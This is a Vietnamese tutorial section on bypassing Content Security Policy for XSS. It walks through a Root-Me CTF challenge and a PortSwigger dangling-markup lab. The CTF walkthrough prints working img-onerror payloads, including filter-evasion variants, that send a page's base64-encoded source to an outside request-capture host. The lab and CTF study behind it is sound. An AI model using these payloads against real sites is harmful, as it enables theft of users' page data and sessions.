IV. Lỗ hổng XSS với CSP (Content security policy)
1. Content Security Policy (CSP) là gì?
Content Security Policy (CSP) là một tính năng bảo mật web cho phép người quản trị trang web định cấu hình các nguồn tài nguyên cho phép tải và sử dụng trên trang web đó. Điều này có thể giúp ngăn chặn các cuộc tấn công XSS bằng cách không cho phép tài nguyên không đáng tin cậy được tải và sử dụng trên trang web.
Ví dụ cho phép tải tài nguyên từ cùng một nguồn (self) mà trang web đang được truy cập.
Content-Security-Policy: default-src 'self'
Một ví dụ khác cho phép tải tài nguyên từ cùng một nguồn (self) như trước, nhưng cũng cho phép tải JavaScript từ https://trustedscripts.example.com
, hình ảnh từ https://trustedimages.example.com
và CSS từ https://trustedstyles.example.com
. Tất cả các nguồn khác sẽ bị cấm.
Content-Security-Policy: default-src 'self'; script-src https://trustedscripts.example.com; img-src https://trustedimages.example.com; style-src https://trustedstyles.example.com
2. Bypass CSP tấn công XSS
CSP là một phương pháp tốt trong việc ngăn chặn lỗ hổng XSS. Tuy nhiên cài đặt các quy tắc CSP không chặt chẽ vẫn mang đến nguy cơ tấn công XSS.
Xét một ví dụ khi cài đặt CSP:
Content-Security-Policy: script-src 'unsafe-inline'
Tình huống này đang cho phép sử dụng inline JavaScript trên trang web, có nghĩa là JavaScript được phép viết trực tiếp trong mã HTML của trang web, thay vì được tải từ một tệp riêng biệt. Về ý tưởng tấn công chúng ta có thể phân tích một bài CTF: CSP Bypass Inline code
Bắt đầu challenge, chúng ta có chức năng nhập tên:
Sau khi enter, giao diện hiện ra thông báo chào mừng. Đoạn thông tin cho biết trang web đang được bảo vệ với CSP, và chỉ có bot của trang web mới có thể đọc được flag. (Flag được hiển thị ở dạng FLAG_REDACTED
khi user thông thường truy cập).
Và khi chúng ta tìm thấy lỗ hổng XSS, có thể sử dụng tính năng Fill this form để gửi URL chứa script cho bot, sau đó bot sẽ truy cập link đó.
Chúng ta đã biết flag tại địa chỉ http://challenge01.root-me.org:58008/page
cụ thể là nằm trong source code.
Quan sát request - response trong Burp Suite, thu được các quy tắc CSP.
Kiểm tra các quy tắc CSP tại trang web https://csp-evaluator.withgoogle.com/
Phát hiện quy tắc script-src 'unsafe-inline'
chứa nguy cơ tấn công XSS. Trang web cho phép sử dụng inline JavaScript nên có thể thử một số payload sau:
<script>alert('XSS')</script>
Từ khóa script đã bị filter:
<img src=x onerror="alert('XSS')">
Thành công kích hoạt cửa sổ alert:
Lúc này, chúng ta cần trích xuất source code tại http://challenge01.root-me.org:58008/page
bằng document.body.innerHTML
. Sử dụng object document.location
chuyển hướng trang web tới một tool bắt request online https://requestinspector.com/, kết hợp encode base64 chuỗi dữ liệu source code trang web, chúng ta có payload như sau: (lưu ý URL trang requestinspector sẽ thay đổi khi các bạn tạo payload)
<img src=1 onerror="document.location='http://requestinspector.com/inspect/01gp3xymjj67ft3nt5a243t9pb/?source='+btoa(document.body.innerHTML)">
Payload trên cần phải thay đổi thêm do trang web đã filter từ khóa http và ký tự :
- Cách bypass : Kết hợp ghép chuỗi và HTML encode:
<img src=1 onerror="document.location='ht'+'tp://requestinspector.com/inspect/01gp3xymjj67ft3nt5a243t9pb/?source='+btoa(document.body.innerHTML)">
- Cách bypass : Trực tiếp loại bỏ chuỗi
http:
<img src=1 onerror="document.location='//requestinspector.com/inspect/01gp3xymjj67ft3nt5a243t9pb/?source='+btoa(document.body.innerHTML)">
Sau khi điền payload trên vào ô nhập tên, chúng ta thu được URL chứa script
http://challenge01.root-me.org:58008/page?user=<img src=1 onerror="document.location='//requestinspector.com/inspect/01gp3xymjj67ft3nt5a243t9pb/?source='+btoa(document.body.innerHTML)">
Gửi tới bot và chờ kết quả:
Thu được flag:
3. Tấn công dangling markup và ngăn chặn
Dangling markup là một khía cạnh khác của tấn công cross-site scripting (XSS). Trong đó, kẻ tấn công có thể chèn mã độc hoặc mã tấn công vào trang web của người khác bằng cách sử dụng các đoạn mã HTML hoặc JavaScript được giả mạo thành nội dung hợp lệ.
Để hiểu rõ hơn về dạng tấn công này, chúng ta cùng phân tích bài lab sau: Reflected XSS protected by very strict CSP, with dangling markup attack
Sau khi đăng nhập, tại /my-account
cho phép người dùng thay đổi email.
Các quy tắc CSP được cài đặt chặt chẽ:
default-src 'self'
chỉ cho phép tải các tài nguyên từ trang web hiện tại người dùng truy cập.object-src 'none'
không cho phép tải bất kỳ tài nguyên nào sử dụng thẻ HTML<object>
.style-src 'self'
chỉ cho phép tải các tài nguyên CSS từ trang web hiện tại người dùng truy cập.script-src 'self'
chỉ cho phép tải các tài nguyên JavaScript từ trang web hiện tại người dùng truy cập.img-src 'self'
chỉ cho phép tải các tài nguyên hình ảnh từ trang web hiện tại người dùng truy cập.base-uri 'none'
không cho phép sử dụng thẻ HTML<base>
trên trang web.
Đồng thời, kiểm tra tại https://csp-evaluator.withgoogle.com/ cho kết quả an toàn:
Quan sát source code trang web, nhận thấy rằng ô input email chứa thuộc tính value
.
Tức là chúng ta có thể thay đổi tham số email
tại URL:
Sử dụng kỹ thuật tấn công dangling markup, kẻ tấn có thể tạo một thẻ <a>
với thuộc tính href tới server của họ, ở đây tôi minh họa bằng Burp Collaborator Client:
Lúc này kẻ tấn công có thể phát tán đường dẫn chứa mã độc này tới các nạn nhân, khi click vào Click me có thể bị kẻ tấn công đánh cắp các dữ liệu nhạy cảm hoặc dẫn tới một cuộc tấn công khác như CSRF.
Bài lab yêu cầu thực hiện cuộc tấn công CSRF thay đổi email nạn nhân, xin dành cho bạn đọc thử sức.
Với tình huống trên, chúng ta nên thay đổi giá trị style-src
thành style-src: 'none'
để nghiêm cấm kẻ tấn công tải tài nguyên CSS từ bất kỳ nguồn nào khác.
Các tài liệu tham khảo
- https://portswigger.net/web-security/cross-site-scripting/content-security-policy
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
- https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting
- https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass